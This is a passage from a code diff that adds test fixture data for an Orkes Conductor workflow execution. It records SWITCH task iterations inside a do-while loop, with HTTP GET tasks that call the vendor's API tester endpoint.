"http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + loopOver: [ + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 2, + _createdBy: "najeeb.thangal@orkes.io", + case: "2", + }, + referenceTaskName: "switch_ref_1__1", + retryCount: 0, + seq: 46, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859413, + startTime: 1713413859413, + endTime: 1713413859413, + updateTime: 1713413859413, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "97ef80c6-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["2"], + selectedCase: "2", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 1, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__2", + retryCount: 0, + seq: 50, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859637, + startTime: 1713413859637, + endTime: 1713413859637, + updateTime: 1713413859637, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9811fcea-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 2, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__3", + retryCount: 0, + seq: 55, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413859968, + startTime: 1713413859968, + endTime: 1713413859968, + updateTime: 1713413859968, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98447e9f-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 3, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__4", + retryCount: 0, + seq: 60, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860295, + startTime: 1713413860295, + endTime: 1713413860295, + updateTime: 1713413860295, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98768b24-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 4, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__5", + retryCount: 0, + seq: 65, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860629, + startTime: 1713413860629, + endTime: 1713413860629, + updateTime: 1713413860629, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98a98209-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 5, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + switchCaseValue: 4, + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref_1__6", + retryCount: 0, + seq: 70, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413860963, + startTime: 1713413860963, + endTime: 1713413860963, + updateTime: 1713413860963, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98dcc70e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 6, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + switchCaseValue: 4, + _createdBy: "najeeb.thangal@orkes.io", + case: "4", + }, + referenceTaskName: "switch_ref_1__7", + retryCount: 0, + seq: 73, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861076, + startTime: 1713413861076, + endTime: 1713413861076, + updateTime: 1713413861076, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98ee0521-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["4"], + selectedCase: "4", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 7, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__8", + retryCount: 0, + seq: 76, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861183, + startTime: 1713413861183, + endTime: 1713413861183, + updateTime: 1713413861183, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "98fe0ab4-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 8, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 1, + _createdBy: "najeeb.thangal@orkes.io", + case: "1", + }, + referenceTaskName: "switch_ref_1__9", + retryCount: 0, + seq: 81, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861520, + startTime: 1713413861520, + endTime: 1713413861520, + updateTime: 1713413861520, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "993128a9-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["1"], + selectedCase: "1", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 9, + subworkflowChanged: false, + queueWaitTime: 0, + loopOverTask: true, + taskDefinition: null, + }, + { + taskType: "SWITCH", + status: "COMPLETED", + inputData: { + hasChildren: "true", + switchCaseValue: 3, + _createdBy: "najeeb.thangal@orkes.io", + case: "3", + }, + referenceTaskName: "switch_ref_1__10", + retryCount: 0, + seq: 86, + pollCount: 0, + taskDefName: "SWITCH", + scheduledTime: 1713413861851, + startTime: 1713413861851, + endTime: 1713413861851, + updateTime: 1713413861851, + startDelayInSeconds: 0, + retried: false, + executed: true, + callbackFromWorker: true, + responseTimeoutSeconds: 0, + workflowInstanceId: "965f1c98-fd3a-11ee-8cfe-9245dc979bb3", + workflowType: "najeeb_test_do_while_iteration", + taskId: "9963d16e-fd3a-11ee-8cfe-9245dc979bb3", + callbackAfterSeconds: 0, + outputData: { + evaluationResult: ["3"], + selectedCase: "3", + }, + workflowTask: { + name: "switch_1", + taskReferenceName: "switch_ref_1", + inputParameters: { + switchCaseValue: "${inline_ref_1.output.result}", + }, + type: "SWITCH", + decisionCases: { + 2: [ + { + name: "http_7", + taskReferenceName: "http_ref_7", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + 4: [], + }, + defaultCase: [ + { + name: "http_5", + taskReferenceName: "http_ref_5", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + { + name: "http_6", + taskReferenceName: "http_ref_6", + inputParameters: { + method: "GET", + asyncComplete: false, + readTimeOut: "3000", + uri: "https://orkes-api-tester.orkesconductor.com/api", + connectionTimeOut: 3000, + contentType: "application/json", + accept: "application/json", + }, + type: "HTTP", + decisionCases: {}, + defaultCase: [], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + onStateChange: {}, + }, + ], + forkTasks: [], + startDelay: 0, + joinOn: [], + optional: false, + rateLimited: false, + defaultExclusiveJoinTask: [], + asyncComplete: false, + loopOver: [], + evaluatorType: "value-param", + expression: "switchCaseValue", + onStateChange: {}, + }, + rateLimitPerFrequency: 0, + rateLimitFrequencyInSeconds: 0, + workflowPriority: 0, + iteration: 10, + 